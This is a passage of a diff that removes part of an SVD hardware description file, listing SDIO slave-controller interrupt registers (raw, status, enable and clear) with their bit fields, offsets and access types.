-              <name>SLC1_TXDSCR_BURST_EN</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXDATA_BURST_EN</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN_AUTO_CLR</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN_SEL</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_RAW</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_RAW</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_RAW</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_RAW</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_RAW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_RAW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_RAW</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_RAW</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_RAW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_RAW</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_RAW</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_ST</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_ST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_ST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_ST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_ST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_ST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_ST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_ST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_ST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_ST</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_ST</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_ENA</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_ENA</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_CLR</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_CLR</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_CLR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_CLR</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_CLR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_CLR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_CLR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_CLR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_CLR</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_RAW</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_RAW</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_RAW</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_RAW</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_RAW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_RAW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_RAW</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_RAW</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_RAW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_ST</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_ST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_ST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_ST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_ST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_ST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_ST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_ST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_ST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_ENA</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
